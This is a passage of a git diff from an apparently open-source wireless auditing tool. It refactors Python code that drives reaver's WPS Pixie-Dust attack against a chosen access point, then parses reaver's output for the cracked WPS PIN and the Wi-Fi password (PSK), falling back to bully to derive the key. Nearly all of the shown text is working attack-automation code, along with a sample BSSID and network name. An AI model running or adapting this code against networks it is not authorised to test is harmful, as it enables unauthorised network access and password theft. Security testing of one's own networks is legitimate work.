BSSID : '34:21:09:01:92:7c'
|
||||||
ESSID : 'AirLink89300'
|
ESSID : 'AirLink89300'
|
||||||
'''
|
'''
|
||||||
Color.pl('\n{+} found PIN: {G}%s{W}' % pin)
|
|
||||||
Color.p('{+} fetching {C}PSK{W} using {C}bully{W}... ')
|
|
||||||
cmd = [
|
cmd = [
|
||||||
'bully',
|
'bully',
|
||||||
'--channel', target.channel,
|
'--channel', target.channel,
|
||||||
@@ -247,12 +302,11 @@ class Bully(Attack):
|
|||||||
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
|
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
|
||||||
if key_re is not None:
|
if key_re is not None:
|
||||||
psk = key_re.group(1)
|
psk = key_re.group(1)
|
||||||
Color.pl('{W}found PSK: {G}%s{W}' % psk)
|
|
||||||
return psk
|
return psk
|
||||||
|
|
||||||
Color.pl('{R}failed{W}')
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
Configuration.initialize()
|
Configuration.initialize()
|
||||||
Configuration.interface = 'wlan0mon'
|
Configuration.interface = 'wlan0mon'
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ from ..model.attack import Attack
|
|||||||
from ..config import Configuration
|
from ..config import Configuration
|
||||||
from ..util.color import Color
|
from ..util.color import Color
|
||||||
from ..util.process import Process
|
from ..util.process import Process
|
||||||
|
from ..util.timer import Timer
|
||||||
from ..tools.airodump import Airodump
|
from ..tools.airodump import Airodump
|
||||||
from ..tools.bully import Bully # for PSK retrieval
|
from ..tools.bully import Bully # for PSK retrieval
|
||||||
from ..model.wps_result import CrackResultWPS
|
from ..model.wps_result import CrackResultWPS
|
||||||
@@ -14,155 +15,228 @@ import os, time, re
|
|||||||
class Reaver(Attack):
|
class Reaver(Attack):
|
||||||
def __init__(self, target):
|
def __init__(self, target):
|
||||||
super(Reaver, self).__init__(target)
|
super(Reaver, self).__init__(target)
|
||||||
self.success = False
|
|
||||||
|
self.start_time = None
|
||||||
|
self.state = 'Initializing'
|
||||||
|
self.locked = False
|
||||||
|
self.total_timeouts = 0
|
||||||
|
self.total_wpsfails = 0
|
||||||
|
|
||||||
self.crack_result = None
|
self.crack_result = None
|
||||||
|
|
||||||
|
self.output_filename = Configuration.temp('reaver.out')
|
||||||
|
if os.path.exists(self.output_filename):
|
||||||
|
os.remove(self.output_filename)
|
||||||
|
|
||||||
|
self.output_write = open(self.output_filename, 'a')
|
||||||
|
|
||||||
|
self.reaver_cmd = [
|
||||||
|
'reaver',
|
||||||
|
'--interface', Configuration.interface,
|
||||||
|
'--bssid', self.target.bssid,
|
||||||
|
'--channel', self.target.channel,
|
||||||
|
'--pixie-dust', '1', # pixie-dust attack
|
||||||
|
'--session', '/dev/null', # Don't restart session
|
||||||
|
'-vv' # (very) verbose
|
||||||
|
]
|
||||||
|
|
||||||
|
self.reaver_proc = None
|
||||||
|
|
||||||
def is_pixiedust_supported(self):
|
def is_pixiedust_supported(self):
|
||||||
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
|
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
|
||||||
output = Process(['reaver', '-h']).stderr()
|
output = Process(['reaver', '-h']).stderr()
|
||||||
return '--pixie-dust' in output
|
return '--pixie-dust' in output
|
||||||
|
|
||||||
def run_pixiedust_attack(self):
|
def run(self):
|
||||||
# Write reaver stdout to file.
|
''' Returns True if attack is successful. '''
|
||||||
self.stdout_file = Configuration.temp('reaver.out')
|
try:
|
||||||
if os.path.exists(self.stdout_file):
|
self._run() # Run-loop
|
||||||
os.remove(self.stdout_file)
|
except Exception as e:
|
||||||
|
# Failed with error
|
||||||
|
self.pattack('{R}Failed:{O} %s' % str(e), newline=True)
|
||||||
|
return self.crack_result is not None
|
||||||
|
|
||||||
command = [
|
# Stop reaver if it's still running
|
||||||
'reaver',
|
if self.reaver_proc.poll() is None:
|
||||||
'--interface', Configuration.interface,
|
self.reaver_proc.interrupt()
|
||||||
'--bssid', self.target.bssid,
|
|
||||||
'--channel', self.target.channel,
|
|
||||||
'--pixie-dust', '1', # pixie-dust attack
|
|
||||||
'--session', '/dev/null', # Don't restart session
|
|
||||||
'-vv' # (very) verbose
|
|
||||||
]
|
|
||||||
stdout_write = open(self.stdout_file, 'a')
|
|
||||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
|
||||||
|
|
||||||
pin = None
|
# Clean up open file handle
|
||||||
step = 'initializing'
|
if self.output_write:
|
||||||
time_since_last_step = 0
|
self.output_write.close()
|
||||||
|
|
||||||
|
return self.crack_result is not None
|
||||||
|
|
||||||
|
|
||||||
|
def _run(self):
|
||||||
|
self.start_time = time.time()
|
||||||
|
|
||||||
with Airodump(channel=self.target.channel,
|
with Airodump(channel=self.target.channel,
|
||||||
target_bssid=self.target.bssid,
|
target_bssid=self.target.bssid,
|
||||||
skip_wps=True,
|
skip_wps=True,
|
||||||
output_file_prefix='pixie') as airodump:
|
output_file_prefix='pixie') as airodump:
|
||||||
|
|
||||||
Color.clear_line()
|
# Wait for target
|
||||||
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
|
self.pattack("Waiting for target to appear...")
|
||||||
|
self.target = self.wait_for_target(airodump)
|
||||||
|
|
||||||
while True:
|
# Start reaver
|
||||||
try:
|
self.reaver_proc = Process(self.reaver_cmd,
|
||||||
airodump_target = self.wait_for_target(airodump)
|
stdout=self.output_write,
|
||||||
except Exception as e:
|
stderr=Process.devnull())
|
||||||
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
|
|
||||||
|
# Loop while reaver is running
|
||||||
|
while self.crack_result is None and self.reaver_proc.poll() is None:
|
||||||
|
|
||||||
|
# Refresh target information (power)
|
||||||
|
self.target = self.wait_for_target(airodump)
|
||||||
|
|
||||||
|
# Update based on reaver output
|
||||||
|
stdout = self.get_output()
|
||||||
|
self.state = self.parse_state(stdout)
|
||||||
|
self.parse_failure(stdout)
|
||||||
|
|
||||||
|
# Print status line
|
||||||
|
self.pattack(self.get_status())
|
||||||
|
|
||||||
|
# Check if we cracked it
|
||||||
|
self.crack_result = self.parse_crack_result(stdout)
|
||||||
|
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
# Check if crack result is in output
|
||||||
|
stdout = self.get_output()
|
||||||
|
self.crack_result = self.parse_crack_result(stdout)
|
||||||
|
|
||||||
|
# Show any failures found
|
||||||
|
if self.crack_result is None:
|
||||||
|
self.parse_failure(stdout)
|
||||||
|
|
||||||
|
if self.crack_result is None and self.reaver_proc.poll() is not None:
|
||||||
|
raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll())
|
||||||
|
|
||||||
|
|
||||||
|
def get_status(self):
|
||||||
|
main_status = self.state
|
||||||
|
|
||||||
|
meta_statuses = []
|
||||||
|
if self.total_timeouts > 0:
|
||||||
|
meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
|
||||||
|
|
||||||
|
if self.total_wpsfails > 0:
|
||||||
|
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails)
|
||||||
|
|
||||||
|
if self.locked:
|
||||||
|
meta_statuses.append("{R}Locked{W}")
|
||||||
|
|
||||||
|
if len(meta_statuses) > 0:
|
||||||
|
main_status += ' (%s)' % ', '.join(meta_statuses)
|
||||||
|
|
||||||
|
return main_status
|
||||||
|
|
||||||
|
|
||||||
|
def parse_crack_result(self, stdout):
|
||||||
|
if self.crack_result is not None:
|
||||||
|
return self.crack_result
|
||||||
|
|
||||||
|
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
|
||||||
|
|
||||||
|
# Check if we cracked it, or if process stopped.
|
||||||
|
if pin is not None:
|
||||||
|
# We cracked it.
|
||||||
|
|
||||||
|
if psk is not None:
|
||||||
|
# Reaver provided PSK
|
||||||
|
self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True)
|
||||||
|
else:
|
||||||
|
self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True)
|
||||||
|
|
||||||
|
# Try to derive PSK from PIN using Bully
|
||||||
|
self.pattack('{W}Retrieving PSK using {C}bully{W}...')
|
||||||
|
psk = Bully.get_psk_from_pin(self.target, pin)
|
||||||
|
if psk is None:
|
||||||
Color.pl("")
|
Color.pl("")
|
||||||
return False
|
self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
|
||||||
|
|
||||||
stdout_write.flush()
|
|
||||||
|
|
||||||
# Check output from reaver process
|
|
||||||
stdout = self.get_stdout()
|
|
||||||
stdout_last_line = stdout.split('\n')[-1]
|
|
||||||
|
|
||||||
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
|
|
||||||
|
|
||||||
# Check if we cracked it, or if process stopped.
|
|
||||||
if pin is not None or reaver.poll() is not None:
|
|
||||||
reaver.interrupt()
|
|
||||||
|
|
||||||
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
|
|
||||||
stdout = self.get_stdout()
|
|
||||||
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
|
|
||||||
|
|
||||||
# Check if we cracked it.
|
|
||||||
if pin is not None:
|
|
||||||
# We cracked it.
|
|
||||||
|
|
||||||
if psk is None:
|
|
||||||
# Try to derive PSK from PIN using Bully
|
|
||||||
psk = Bully.get_psk_from_pin(self.target, pin)
|
|
||||||
|
|
||||||
bssid = self.target.bssid
|
|
||||||
Color.clear_entire_line()
|
|
||||||
if psk is None:
|
|
||||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)")
|
|
||||||
else:
|
|
||||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
|
|
||||||
Color.pl("")
|
|
||||||
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
|
|
||||||
self.crack_result.dump()
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
# Failed to crack, reaver proces ended.
|
|
||||||
Color.clear_line()
|
|
||||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
|
|
||||||
return False
|
|
||||||
|
|
||||||
if 'WPS pin not found' in stdout:
|
|
||||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
|
||||||
break
|
|
||||||
|
|
||||||
last_step = step
|
|
||||||
# Status updates, depending on last line of stdout
|
|
||||||
if 'Waiting for beacon from' in stdout_last_line:
|
|
||||||
step = '({C}step 1/8{W}) waiting for beacon'
|
|
||||||
elif 'Associated with' in stdout_last_line:
|
|
||||||
step = '({C}step 2/8{W}) waiting to start session'
|
|
||||||
elif 'Starting Cracking Session.' in stdout_last_line:
|
|
||||||
step = '({C}step 3/8{W}) waiting to try pin'
|
|
||||||
elif 'Trying pin' in stdout_last_line:
|
|
||||||
step = '({C}step 4/8{W}) trying pin'
|
|
||||||
elif 'Sending EAPOL START request' in stdout_last_line:
|
|
||||||
step = '({C}step 5/8{W}) sending eapol start request'
|
|
||||||
elif 'Sending identity response' in stdout_last_line:
|
|
||||||
step = '({C}step 6/8{W}) sending identity response'
|
|
||||||
elif 'Sending M2 message' in stdout_last_line:
|
|
||||||
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
|
|
||||||
elif 'Detected AP rate limiting,' in stdout_last_line:
|
|
||||||
if Configuration.wps_skip_rate_limit:
|
|
||||||
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
|
|
||||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
|
||||||
' this kind of failure in the future{W}')
|
|
||||||
break
|
|
||||||
step = '({C}step -/8{W}) waiting for AP rate limit'
|
|
||||||
|
|
||||||
if step != last_step:
|
|
||||||
# Step changed, reset step timer
|
|
||||||
time_since_last_step = 0
|
|
||||||
else:
|
else:
|
||||||
time_since_last_step += 1
|
self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
|
||||||
|
|
||||||
if time_since_last_step > Configuration.wps_pixie_step_timeout:
|
crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
|
||||||
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
|
crack_result.dump()
|
||||||
break
|
return crack_result
|
||||||
|
|
||||||
# TODO: Timeout check
|
return None
|
||||||
if reaver.running_time() > Configuration.wps_pixie_timeout:
|
|
||||||
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
|
|
||||||
break
|
|
||||||
|
|
||||||
# Reaver Failure/Timeout check
|
|
||||||
fail_count = stdout.count('WPS transaction failed')
|
|
||||||
if fail_count > Configuration.wps_fail_threshold:
|
|
||||||
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
|
|
||||||
break
|
|
||||||
timeout_count = stdout.count('Receive timeout occurred')
|
|
||||||
if timeout_count > Configuration.wps_timeout_threshold:
|
|
||||||
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
|
|
||||||
break
|
|
||||||
|
|
||||||
Color.clear_line()
|
def parse_failure(self, stdout):
|
||||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
|
# Total failure
|
||||||
|
if 'WPS pin not found' in stdout:
|
||||||
|
raise Exception('Reaver says "WPS pin not found"')
|
||||||
|
|
||||||
time.sleep(1)
|
# Running-time failure
|
||||||
continue
|
if self.running_time() > Configuration.wps_pixie_timeout:
|
||||||
|
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
|
||||||
|
|
||||||
|
# WPSFail count
|
||||||
|
self.total_wpsfails = stdout.count('WPS transaction failed')
|
||||||
|
if self.total_wpsfails >= Configuration.wps_fail_threshold:
|
||||||
|
raise Exception('Too many failures (%d)' % self.total_wpsfails)
|
||||||
|
|
||||||
|
# Timeout count
|
||||||
|
self.total_timeouts = stdout.count('Receive timeout occurred')
|
||||||
|
if self.total_timeouts >= Configuration.wps_timeout_threshold:
|
||||||
|
raise Exception('Too many timeouts (%d)' % self.total_timeouts)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_state(self, stdout):
|
||||||
|
state = self.state
|
||||||
|
|
||||||
|
stdout_last_line = stdout.split('\n')[-1]
|
||||||
|
|
||||||
|
if 'Waiting for beacon from' in stdout_last_line:
|
||||||
|
state = 'Waiting for beacon'
|
||||||
|
|
||||||
|
elif 'Associated with' in stdout_last_line:
|
||||||
|
state = 'Associated'
|
||||||
|
|
||||||
|
elif 'Starting Cracking Session.' in stdout_last_line:
|
||||||
|
state = 'Waiting to try PIN'
|
||||||
|
|
||||||
|
elif 'Trying pin' in stdout_last_line:
|
||||||
|
state = 'Trying PIN'
|
||||||
|
|
||||||
|
elif 'Sending EAPOL START request' in stdout_last_line:
|
||||||
|
state = 'Sending EAPOL Start request'
|
||||||
|
|
||||||
|
elif 'Sending identity response' in stdout_last_line:
|
||||||
|
state = 'Sending identity response'
|
||||||
|
self.locked = False
|
||||||
|
|
||||||
|
elif 'Sending M2 message' in stdout_last_line:
|
||||||
|
state = 'Sending M2 / Running pixiewps'
|
||||||
|
self.locked = False
|
||||||
|
|
||||||
|
elif 'Detected AP rate limiting,' in stdout_last_line:
|
||||||
|
state = 'Rate-Limited by AP'
|
||||||
|
self.locked = True
|
||||||
|
|
||||||
|
return state
|
||||||
|
|
||||||
|
|
||||||
|
def pattack(self, message, newline=False):
|
||||||
|
# Print message with attack information.
|
||||||
|
time_left = Configuration.wps_pixie_timeout - self.running_time()
|
||||||
|
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.pattack("WPS",
|
||||||
|
self.target,
|
||||||
|
'Pixie-Dust',
|
||||||
|
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
|
||||||
|
if newline:
|
||||||
|
Color.pl("")
|
||||||
|
|
||||||
|
|
||||||
|
def running_time(self):
|
||||||
|
return int(time.time() - self.start_time)
|
||||||
|
|
||||||
# Attack failed, already printed reason why
|
|
||||||
reaver.interrupt()
|
|
||||||
stdout_write.close()
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_pin_psk_ssid(stdout):
|
def get_pin_psk_ssid(stdout):
|
||||||
@@ -196,12 +270,21 @@ class Reaver(Attack):
|
|||||||
|
|
||||||
return (pin, psk, ssid)
|
return (pin, psk, ssid)
|
||||||
|
|
||||||
def get_stdout(self):
|
|
||||||
''' Gets output from stdout_file '''
|
def get_output(self):
|
||||||
if not self.stdout_file:
|
''' Gets output from reaver's output file '''
|
||||||
|
if not self.output_filename:
|
||||||
return ''
|
return ''
|
||||||
with open(self.stdout_file, 'r') as fid:
|
|
||||||
|
if self.output_write:
|
||||||
|
self.output_write.flush()
|
||||||
|
|
||||||
|
with open(self.output_filename, 'r') as fid:
|
||||||
stdout = fid.read()
|
stdout = fid.read()
|
||||||
|
|
||||||
|
if Configuration.verbose > 1:
|
||||||
|
Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n')))
|
||||||
|
|
||||||
return stdout.strip()
|
return stdout.strip()
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user